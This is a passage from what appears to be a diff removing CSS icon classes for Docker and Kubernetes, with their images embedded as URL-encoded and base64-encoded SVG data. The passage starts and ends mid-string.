fill='none'/%3E%3Cpath d='M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76l-.1.09z'/%3E%3C/svg%3E"); -} - -.icons8-docker { - display: inline-block; - width: 24px; - height: 24px; - background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNjQiIGhlaWdodD0iNjQiIHZpZXdCb3g9IjAgMCA2NCA2NCI+CjxsaW5lYXJHcmFkaWVudCBpZD0icWt5blUyWThyT0h+YVpjOEkybHZkYV9HT0hXcXduU0U4U3ZfZ3IxIiB4MT0iMzIuMjUzIiB4Mj0iMzIuMjUzIiB5MT0iMTkiIHkyPSI1NSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzFhNmRmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2M4MjJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRhX0dPSFdxd25TRThTdl9ncjEpIiBkPSJNMjMuNjQ5LDU1Yy01LjU2OSwwLjAxNi0xMC41MDMtMS4wNTMtMTMuNTY5LTIuOTI2Yy0yLjc3Mi0xLjY4OS00Ljg5Ny00LjQyNi02LjMxMy04LjEzNCBjLTEuMjM0LTMuMzYyLTEuODA5LTYuNjQ4LTEuNzY0LTEwLjA1OGMtMC4wMDEtMC43NTksMC4yOTktMS40ODYsMC44NDYtMi4wMzNDMy4zOTYsMzEuMzAyLDQuMTIzLDMxLDQuODk2LDMxSDQzLjQ5IGMwLjIxMS0wLjAwOSwxLjQ5MS0wLjIxNSwyLjY2OS0wLjY2MWMtMC44OTctMS45MDItMS4wOTUtNC4wNDktMC41NjctNi4yNzRjMC4zMjYtMS4zNTgsMC44NzUtMi42MzksMS42MzItMy44MWwwLjU3My0wLjgyNiBjMC4yOTctMC40MjYsMC44NzItMC41NTUsMS4zMi0wLjI5NWwwLjg0MywwLjQ4NWMwLjM4NywwLjIyOCwzLjUxMywyLjE2OSw0LjUsNi4wMjFjMC41NTYtMC4wNjEsMS4xMTYtMC4wOTIsMS42NzQtMC4wOTUgYzMuMzg1LDAsNS4xMDEsMS4yMTksNS40MTEsMS40NjNjMCwwLDAsMCwwLDAuMDAxbDAuNTgsMC40NThjMC4zMzMsMC4yNjMsMC40NjMsMC43MDcsMC4zMjYsMS4xMDdsLTAuMjQsMC43MDIgYy0wLjQ1MSwxLjE0Mi0xLjEzMywyLjE1LTEuOTksMi45NjFjLTEuMTksMS4xNzYtMi42NDgsMi42MTQtNy4xMDMsMi43MzJjLTAuODk3LDIuMjcxLTIuOTE5LDYuNzI0LTYuMTk2LDEwLjQyNyBjLTEuOTA5LDIuMTU2LTQuMTQzLDMuOTgxLTYuNjQsNS40MjVjLTMuMDIyLDEuNzA4LTYuMjc5LDIuODg5LTkuNjg3LDMuNTEzQzI4LjEyMSw1NC43OTQsMjUuOTcyLDU1LDIzLjY0OSw1NXogTTQ4LjkxNiwyMS4zMjUgbC0wLjAzLDAuMDQ0Yy0wLjYxNiwwLjk1Mi0xLjA3NSwyLjAyNC0xLjM0NywzLjE1OWMtMC41MDEsMi4xMTQtMC4yMTIsNC4wNDUsMC44NTksNS43MzZjMC4xNDcsMC4yMzIsMC4xOTIsMC41MTYsMC4xMjUsMC43ODIgcy0wLjI0MywwLjQ5My0wLjQ4MywwLjYyN2MtMS42OTcsMC45NDMtNC4wMDksMS4zMDctNC41MTEsMS4zMjVMNC44OTYsMzNjLTAuMjM5LDAtMC40NjQsMC4wOTMtMC42MzMsMC4yNjMgYy0wLjE2OSwwLjE2OS0wLjI2MiwwLjM5NC0wLjI2MSwwLjYzM0MzLjk2LDM3LjExNCw0LjQ4LDQwLjA3OSw1LjY0LDQzLjIzOWMxLjI1LDMuMjcxLDMuMDk2LDUuNjc0LDUuNDgyLDcuMTI4IGMyLjc1OSwxLjY4Niw3LjM1OSwyLjYzOSwxMi41MjMsMi42MzNjMi4xOTksMCw0LjIzNi0wLjE5Niw2LjU4OC0wLjYzM2MzLjE5LTAuNTg0LDYuMjM3LTEuNjg4LDkuMDU3LTMuMjgyIGMyLjMwMy0xLjMzMSw0LjM3LTMuMDIsNi4xMzUtNS4wMTVjMy40OTctMy45NDksNS41MjctOC45OSw2LjA2Ni0xMC40NDFjMC4xNDYtMC4zOTMsMC40NzctMC42NiwwLjk0MS0wLjY1MSBjMC4wMzEsMCwwLjA2MiwwLDAuMDkzLDBjNC4xLDAsNS4xNi0xLjA0Niw2LjI4Mi0yLjE1NGMwLjY4Mi0wLjY0NiwxLjE5NS0xLjQwMywxLjUyMy0yLjIyN2wtMC4wMjUtMC4wMiBjLTAuMDYyLTAuMDQ4LTEuMzUxLTEuMDMyLTQuMTY3LTEuMDMyYy0wLjc2OCwwLjAwNC0xLjU0NSwwLjA3LTIuMzA3LDAuMTk5Yy0wLjI2NywwLjA0Mi0wLjUzOC0wLjAyLTAuNzU0LTAuMTc4IGMtMC4yMTgtMC4xNTgtMC4zNjItMC4zOTctMC40MDEtMC42NjRjLTAuNTMzLTMuNjQtMy41OTItNS40NzktMy43MjMtNS41NTVMNDguOTE2LDIxLjMyNXoiPjwvcGF0aD48bGluZWFyR3JhZGllbnQgaWQ9InFreW5VMlk4ck9IfmFaYzhJMmx2ZGJfR09IV3F3blNFOFN2X2dyMiIgeDE9IjI3Ljc3NyIgeDI9IjI3Ljc3NyIgeTE9IjkiIHkyPSI1MSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzZkYzdmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2U2YWJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRiX0dPSFdxd25TRThTdl9ncjIpIiBkPSJNMjMuNTM0LDUxYy00LjcyNiwwLTguOTcyLTAuODc0LTExLjM2Ny0yLjMzOWMtMi4wMDMtMS4yMjEtMy41NzEtMy4yODgtNC42NjQtNi4xNDcgYy0wLjkzLTIuNTM4LTEuNDE1LTQuOTYtMS40OTItNy41MTRsMzcuNTkxLTAuMDAyYzAuNzM2LTAuMDI3LDMuMzg2LTAuNDUyLDUuNDA5LTEuNTc2bDAuNTMzLTAuMjk2IGMtMC42MDIsMS41NzgtMi40ODksNi4wODYtNS42MTcsOS42MTljLTEuNjIzLDEuODMzLTMuNTIyLDMuMzg1LTUuNjQ2LDQuNjEyYy0yLjYwMSwxLjQ3MS01LjQzNywyLjQ5OS04LjQwNiwzLjA0MiBDMjcuNjM3LDUwLjgxNSwyNS43MTksNTEsMjMuNjQ5LDUxSDIzLjUzNHogTTEzLDI4di00YzAtMC41NTItMC40NDgtMS0xLTFIOGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMTIuNTUyLDI5LDEzLDI4LjU1MiwxMywyOHogTTIwLDI4di00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzE5LjU1MiwyOSwyMCwyOC41NTIsMjAsMjh6IE0yNywyOHYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEMyNi41NTIsMjksMjcsMjguNTUyLDI3LDI4eiBNMzQsMjh2LTRjMC0wLjU1Mi0wLjQ0OC0xLTEtMWgtNGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMzMuNTUyLDI5LDM0LDI4LjU1MiwzNCwyOHogTTIwLDIxdi00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzE5LjU1MiwyMiwyMCwyMS41NTIsMjAsMjF6IE0yNywyMXYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEMyNi41NTIsMjIsMjcsMjEuNTUyLDI3LDIxeiBNMzQsMjF2LTRjMC0wLjU1Mi0wLjQ0OC0xLTEtMWgtNGMtMC41NTIsMC0xLDAuNDQ4LTEsMXY0YzAsMC41NTIsMC40NDgsMSwxLDFoNCBDMzMuNTUyLDIyLDM0LDIxLjU1MiwzNCwyMXogTTM0LDE0di00YzAtMC41NTItMC40NDgtMS0xLTFoLTRjLTAuNTUyLDAtMSwwLjQ0OC0xLDF2NGMwLDAuNTUyLDAuNDQ4LDEsMSwxaDQgQzMzLjU1MiwxNSwzNCwxNC41NTIsMzQsMTR6IE00MSwyOHYtNGMwLTAuNTUyLTAuNDQ4LTEtMS0xaC00Yy0wLjU1MiwwLTEsMC40NDgtMSwxdjRjMCwwLjU1MiwwLjQ0OCwxLDEsMWg0IEM0MC41NTIsMjksNDEsMjguNTUyLDQxLDI4eiI+PC9wYXRoPgo8L3N2Zz4=') 50% 50% no-repeat; - background-size: 100%; } - - .icons8-kubernetes { - display: inline-block; - width: 24px; - height: 24px; - background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIHZpZXdCb3g9IjAgMCA0OCA0OCI+CjxwYXRoIGZpbGw9IiMwMjc3YmQiIGQ9Ik0yNS44NzUsMjQuMjA4YzAuMTAyLDAuMTMxLDAuMTQ1LDAuMzIsMC4xMTYsMC40OTVsLTAuMjc2LDEuMjA4CWMtMC4wMjksMC4xODktMC4xNiwwLjMzNS0wLjMxOSwwLjQyMmwtMS4xMTgsMC41MjRjLTAuMTYsMC4wODctMC4zNjMsMC4wODctMC41MjMsMGwtMS4xMTgtMC41MjQJYy0wLjE2LTAuMDg3LTAuMjktMC4yMzMtMC4zMTktMC40MjJsLTAuMjc2LTEuMjA4Yy0wLjAyOS0wLjE3NSwwLjAxNS0wLjM2NCwwLjExNi0wLjQ5NWwwLjc4NC0wLjk3NQlDMjMuMDQzLDIzLjA4NywyMy4yMTgsMjMsMjMuNDA2LDIzaDEuMjJjMC4xODksMCwwLjM2MywwLjA4NywwLjQ2NSwwLjIzM0wyNS44NzUsMjQuMjA4eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiMwMjc3YmQiIGQ9Ik0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyCWMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExCWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1CWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OAljMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyCWMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExCWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMzIuMTE5LDE5LjgzNWwtMC4yNTksMC4yNzkJYy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OGMtMC40NywwLjQ4LTAuOTc4LDAuOTQxLTEuNDY3LDEuNDEyYzAuNjUyLDAuMTYzLDEuMzA0LDAuMzM2LDEuOTU2LDAuNTI4CWMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNWMwLjAxLTAuMTU0LDAuMDEtMC4zMTcsMC4wMS0wLjQ4QzMzLjUxOSwyMi45OTYsMzMuMDExLDIxLjI4NiwzMi4xMTksMTkuODM1eiBNMzIuMTE5LDE5LjgzNWwtMC4yNTksMC4yNzljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTIJYzAuNjUyLDAuMTYzLDEuMzA0LDAuMzM2LDEuOTU2LDAuNTI4YzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDgJQzMzLjUxOSwyMi45OTYsMzMuMDExLDIxLjI4NiwzMi4xMTksMTkuODM1eiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjIJYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTEJYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzUJYzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yM2MwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4CWMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDJDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTMyLjYyNywyOC4wMmMtMS4wNDUtMC4wNjctMi4wODEtMC4xNjMtMy4xMjYtMC4yNTljLTAuNDUxLTAuMDM4LTAuODkyLTAuMDg2LTEuMzQyLTAuMTM1Yy0wLjI4OC0wLjAzOC0wLjUxOCwwLjI1LTAuNDEyLDAuNTI4CWMwLjE2MywwLjQzMiwwLjMxNiwwLjg2NSwwLjQ3LDEuMzA3YzAuMzM2LDAuOTgsMC42ODEsMS45NjksMC45OTcsMi45NjhsMC4xMDUsMC4zNDZjMS42NjgtMS4xNDMsMi45NjMtMi43OTUsMy42NDMtNC43MzYJTDMyLjYyNywyOC4wMnogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OGMtMC40NywwLjQ4LTAuOTc4LDAuOTQxLTEuNDY3LDEuNDEyCWMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNWMwLjAxLTAuMTU0LDAuMDEtMC4zMTcsMC4wMS0wLjQ4CUMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OAljLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNQljMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjYyNywyOC4wMmMtMS4wNDUtMC4wNjctMi4wODEtMC4xNjMtMy4xMjYtMC4yNTkJYy0wLjQ1MS0wLjAzOC0wLjg5Mi0wLjA4Ni0xLjM0Mi0wLjEzNWMtMC4yODgtMC4wMzgtMC41MTgsMC4yNS0wLjQxMiwwLjUyOGMwLjE2MywwLjQzMiwwLjMxNiwwLjg2NSwwLjQ3LDEuMzA3CWMwLjMzNiwwLjk4LDAuNjgxLDEuOTY5LDAuOTk3LDIuOTY4bDAuMTA1LDAuMzQ2YzEuNjY4LTEuMTQzLDIuOTYzLTIuNzk1LDMuNjQzLTQuNzM2TDMyLjYyNywyOC4wMnogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yMwljMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDIJQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0zMi42MjcsMjguMDJjLTEuMDQ1LTAuMDY3LTIuMDgxLTAuMTYzLTMuMTI2LTAuMjU5CWMtMC40NTEtMC4wMzgtMC44OTItMC4wODYtMS4zNDItMC4xMzVjLTAuMjg4LTAuMDM4LTAuNTE4LDAuMjUtMC40MTIsMC41MjhjMC4xNjMsMC40MzIsMC4zMTYsMC44NjUsMC40NywxLjMwNwljMC4zMzYsMC45OCwwLjY4MSwxLjk2OSwwLjk5NywyLjk2OGwwLjEwNSwwLjM0NmMxLjY2OC0xLjE0MywyLjk2My0yLjc5NSwzLjY0My00LjczNkwzMi42MjcsMjguMDJ6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OQljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTJjMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjgJYzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDhDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMgljMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjhjMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OAlDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0zMi42MjcsMjguMDJjLTEuMDQ1LTAuMDY3LTIuMDgxLTAuMTYzLTMuMTI2LTAuMjU5CWMtMC40NTEtMC4wMzgtMC44OTItMC4wODYtMS4zNDItMC4xMzVjLTAuMjg4LTAuMDM4LTAuNTE4LDAuMjUtMC40MTIsMC41MjhjMC4xNjMsMC40MzIsMC4zMTYsMC44NjUsMC40NywxLjMwNwljMC4zMzYsMC45OCwwLjY4MSwxLjk2OSwwLjk5NywyLjk2OGwwLjEwNSwwLjM0NmMxLjY2OC0xLjE0MywyLjk2My0yLjc5NSwzLjY0My00LjczNkwzMi42MjcsMjguMDJ6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzUJYzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yM2MwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4CWMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDJDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI2LjYwNiwzMy42MmMtMC41NTYtMC44ODQtMS4wNzQtMS43OTYtMS41OTItMi42OTljLTAuMjMtMC4zOTQtMC40NTEtMC43ODgtMC42NjItMS4xOTFjLTAuMTUzLTAuMjc5LTAuNTQ3LTAuMjc5LTAuNywwCWMtMC4yMjEsMC40MTMtMC40NTEsMC44MTctMC42OSwxLjIxYy0wLjUyNywwLjkwMy0xLjA1NSwxLjgwNi0xLjYxMSwyLjY5bC0wLjI0LDAuMzg0YzAuODkyLDAuMjc5LDEuODQxLDAuNDIzLDIuODE5LDAuNDIzCWMxLjAwNywwLDEuOTg1LTAuMTU0LDIuODk2LTAuNDUyTDI2LjYwNiwzMy42MnogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyCWMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExCWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMzIuNjI3LDI4LjAyCWMtMS4wNDUtMC4wNjctMi4wODEtMC4xNjMtMy4xMjYtMC4yNTljLTAuNDUxLTAuMDM4LTAuODkyLTAuMDg2LTEuMzQyLTAuMTM1Yy0wLjI4OC0wLjAzOC0wLjUxOCwwLjI1LTAuNDEyLDAuNTI4CWMwLjE2MywwLjQzMiwwLjMxNiwwLjg2NSwwLjQ3LDEuMzA3YzAuMzM2LDAuOTgsMC42ODEsMS45NjksMC45OTcsMi45NjhsMC4xMDUsMC4zNDZjMS42NjgtMS4xNDMsMi45NjMtMi43OTUsMy42NDMtNC43MzYJTDMyLjYyNywyOC4wMnogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OGMtMC40NywwLjQ4LTAuOTc4LDAuOTQxLTEuNDY3LDEuNDEyCWMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNWMwLjAxLTAuMTU0LDAuMDEtMC4zMTcsMC4wMS0wLjQ4CUMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OAljLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNQljMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjYyNywyOC4wMmMtMS4wNDUtMC4wNjctMi4wODEtMC4xNjMtMy4xMjYtMC4yNTkJYy0wLjQ1MS0wLjAzOC0wLjg5Mi0wLjA4Ni0xLjM0Mi0wLjEzNWMtMC4yODgtMC4wMzgtMC41MTgsMC4yNS0wLjQxMiwwLjUyOGMwLjE2MywwLjQzMiwwLjMxNiwwLjg2NSwwLjQ3LDEuMzA3CWMwLjMzNiwwLjk4LDAuNjgxLDEuOTY5LDAuOTk3LDIuOTY4bDAuMTA1LDAuMzQ2YzEuNjY4LTEuMTQzLDIuOTYzLTIuNzk1LDMuNjQzLTQuNzM2TDMyLjYyNywyOC4wMnogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjYuNjA2LDMzLjYyYy0wLjU1Ni0wLjg4NC0xLjA3NC0xLjc5Ni0xLjU5Mi0yLjY5OWMtMC4yMy0wLjM5NC0wLjQ1MS0wLjc4OC0wLjY2Mi0xLjE5MWMtMC4xNTMtMC4yNzktMC41NDctMC4yNzktMC43LDAJYy0wLjIyMSwwLjQxMy0wLjQ1MSwwLjgxNy0wLjY5LDEuMjFjLTAuNTI3LDAuOTAzLTEuMDU1LDEuODA2LTEuNjExLDIuNjlsLTAuMjQsMC4zODRjMC44OTIsMC4yNzksMS44NDEsMC40MjMsMi44MTksMC